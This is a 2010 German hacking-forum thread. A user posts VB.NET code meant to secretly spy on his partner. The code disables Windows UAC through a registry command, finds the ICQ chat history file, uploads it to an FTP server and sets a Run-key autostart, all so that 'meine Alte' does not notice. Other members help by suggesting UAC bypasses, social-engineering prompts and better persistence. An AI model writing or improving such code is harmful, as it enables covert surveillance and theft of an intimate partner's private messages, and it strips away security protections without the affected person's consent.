Ergebnis 1 bis 8 von 8
  1. #1
    Anfänger
    Registriert seit
    05.05.2010
    Beiträge
    5

    Standard vb .net | UAC "unbemerkt" abschalten

    Heyo,
    Ich würde gern ein ICQ-History Uploader schreiben für Vista, doch ich denke, dass wenn ich die Datei in den Autostart mitreinbring, vista ständig nachfragen wird ob das Programm zugelassen werden soll etc...

    Nun meine Frage, gibt es Möglichkeiten um das zu umgehn?
    oder unbemert die UAC abzuschalten?

    Danke im voraus,
    Mfg

  2. #2
    Edelgas Avatar von krypt0n
    Registriert seit
    31.03.2010
    Beiträge
    247

    Standard

    AFAIK gibt es aktuell keine public Methoden, bei Win Vista/7 was in den Autostart zu hauen, wenn die UAC aktiviert ist. Lasse mich aber gerne eines Besseren belehren.

    Kannst aber mit deinem Programm manuell die nötigen UAC Rechte anfordern, da solltest du auch irgend einen kewlen Text eingeben können, dumme User werden da dann <JA> klicken.

    BTW das scheint laut einem stackoverflow Post mit .NET Sprachen aktuell nicht zu funktionieren, es werden aber gleich zwei Workarounds genannt.
    Geändert von krypt0n (06.05.2010 um 09:36 Uhr)
    You've been krypt0nized!

  3. #3
    Coding Contest Winner
    Registriert seit
    21.03.2008
    Beiträge
    273

    Standard

    UAC Bypass geht, indem man irgendwie was in winlogon.exe injected Hab mich bisher noch nich mit beschäftigt:

    how to bypass UAC in windows 7 / vista - Remote Administration Tool Research forum

    Greez easy

  4. #4
    Anfänger
    Registriert seit
    05.05.2010
    Beiträge
    5

    Standard

    Hab mich jetz mal ans ganze Projekt gesetzt und mal den Anfang etwas gewagt,
    Steinigt mich nicht gleich, ich bin was vb .net angeht etwas frisch

    Hier wär mal der bisherige Code:
    Und wenn ich jetzt die Form noch "unsichtbar" oder etwas in der Art mache, müsste es doch klappen, oder?

    Ich möchte nicht, dass meine Alte dann was mitbekommt

    Normal sollte es so durchlaufen,
    Beim Formload, schaltet er die uac per Batch aus
    Danach testet es erstmal die paar Pfäde von den Windowsversionen durch, ermittelt dann den eingeloggten Benutzernamen,
    liest den icq Ordner aus und das Unterverzeichnis das Zahlen enthält soll er dann öffnen, danach nimmt er nur noch die Message datei und läd se hoch
    und sollte noch n autostart anlegen, wobei ich mir da nich so ganz sicher bin :O

    Code:
    Imports System.IO
    Imports System
    
    Public Class Form1
        Dim Benutzername As String
        Dim icq_nr As String
        Dim Pfad As String
        Dim Datei As String
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            'UAC abschalten
            Dim p As New Process
            p.StartInfo.UseShellExecute = True
            Process.Start("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
            p.WaitForExit()
        End Sub
    
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    
            'Aktueller Benutzer
            Benutzername = Environment.UserName
    
            'Hochzladende Datei aus dem Verzeichnis
            Datei = "Messages.qdb"
    
            ''''''''''''''''''''
            '' Pfad ermitteln ''
            ''''''''''''''''''''
            'Pfad ermitteln
            If My.Computer.FileSystem.DirectoryExists("C:\") Then
    
                'Win XP Deutsch
                If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\") Then
                    If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\") Then
                        Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\"
                        icq_nr_get(Benutzername)
                        Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\" & icq_nr
                    End If
    
                    'Win XP Englisch
                ElseIf My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\") Then
                    If My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\") Then
                        Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\"
                        icq_nr_get(Benutzername)
                        Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\" & icq_nr
                    End If
    
    
                    'Win Vista + 7 Deutsch
                ElseIf My.Computer.FileSystem.DirectoryExists("C:\Benutzer\") Then
                    If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
                        Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\"
                        icq_nr_get(Benutzername)
                        Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
                    End If
    
                    'Win Vista + 7 Englisch
                ElseIf My.Computer.FileSystem.DirectoryExists("C:\Users\") Then
                    If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
                        Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\"
                        icq_nr_get(Benutzername)
                        Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
                    End If
                End If
            End If
    
    
    
            '''''''''''''
            ''  UPLOAD ''
            '''''''''''''
    
    
            ' lokales Verzeichnis, in dem sich die Datei befindet,
            ' die hochgeladen werden soll
            Dim sLocalPath As String = Pfad & "\"
            Dim sLocalFile As String = Datei
    
            ' FTP-Server
            Dim sFTPHost As String = "ftp://webspace.de/"
    
            ' Benutzername und Kennwort für den Server-Zugriff
            Dim sUserName As String = "Benutzername"
            Dim sPassword As String = "Passwort"
    
            ' Datei wie UploadFile-Methode hochladen
            My.Computer.Network.UploadFile(sLocalPath & sLocalFile, sFTPHost & My.Computer.Clock.LocalTime.DayOfWeek & "_" & sLocalFile, sUserName, sPassword, True, 500, FileIO.UICancelOption.DoNothing)
    
    
    
            'Autorun
            AddToAutorun()
        End Sub
    
       
        Function icq_nr_get(ByVal Benutzername)
            If My.Computer.FileSystem.DirectoryExists(Pfad) Then
                Dim di As New DirectoryInfo(Pfad)
                Dim diArr As DirectoryInfo() = di.GetDirectories()
                Dim dri As DirectoryInfo
                For Each dri In diArr
                    If dri.Name.Contains("1") Or dri.Name.Contains("2") Or dri.Name.Contains("3") Or dri.Name.Contains("4") Or dri.Name.Contains("5") Or dri.Name.Contains("6") Or dri.Name.Contains("7") Or dri.Name.Contains("8") Or dri.Name.Contains("9") Then
                        icq_nr = dri.Name
                    End If
                Next dri
            End If
        End Function
    
        Public Shared Sub AddToAutorun()
            Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
            key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
        End Sub
    End Class

  5. #5
    Super-Moderator Avatar von NoNameMT
    Registriert seit
    17.03.2008
    Beiträge
    655

    Standard

    Hmm soweit ich weiß kommt dieser Bestätigungsdialog von UAC doch bevor das Programm ausgeführt wird oder irre ich mich da?

  6. #6
    Anfänger
    Registriert seit
    05.05.2010
    Beiträge
    5

    Standard

    Soviel ich im Internet gelesen habe, erscheint nur ne Dos Box mit der Bestätigung "Vorgang wurde erfolgreich beendet"

    Edit:
    Sry überlesen, ja die uac, kommt schon davor, aber ich denke mal das wird kein Problem, da ich ja an ihren Pc kann, jedoch nich lang genug um ordner sichtbar zu machen, datei zu kopieren und auf n webspace hochladen ^^

    Das nächste Problem ist, dass icq7 die Verläufe nicht von selbst automatisch speichert,
    Kennt ihr vllt. irgend ne Seite oder Möglichkeit, ICQ per .net zu konfigurieren?
    bzw. müsste ich den Hacken zum Verlauf speichern unter Einstellungen setzen.

    Gibts da evtl. ne Konfig datei oder Registry werte?

    Mfg
    Geändert von Cartman1991 (07.05.2010 um 06:56 Uhr) Grund: Automerged Doublepost

  7. #7
    CIH-Virus Avatar von krusty
    Registriert seit
    12.10.2008
    Beiträge
    445

    Standard

    du machst dir das leben selber schwer, die enviromant funktion sollte dir helfen pfade zu ermitteln:
    enviroment("appdata") gibt die den Pfad zum Anwendungsdaten ordner zurück,
    enviroment("temp") den zum Temp Verzecihnis.

    Du solltest den shell befehl nicht verwenden,
    my.computer.regitry... hilft dir die reg zu verwalten.

  8. #8
    Trojaner Avatar von breez
    Registriert seit
    05.03.2010
    Beiträge
    77

    Standard

    Du kannst den Autostart auch unter "HKEY_CURRENT_USER" eintragen. Da macht die UAC nämlich keine Probleme. Dafür wird das Programm aber eben nur bei dem aktuellen User gestartet.
    Dann wäre dein Programm auch "langlebiger", weil der Autostart-Eintrag nicht durch irgendwelche Sicherheitslücken erstellt wird, die irgendwann geschlossen werden. Wahrscheinlich würde das Programm sogar noch bei den nächsten NT-Versionen von Windows laufen.
    Geändert von breez (08.05.2010 um 12:18 Uhr)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •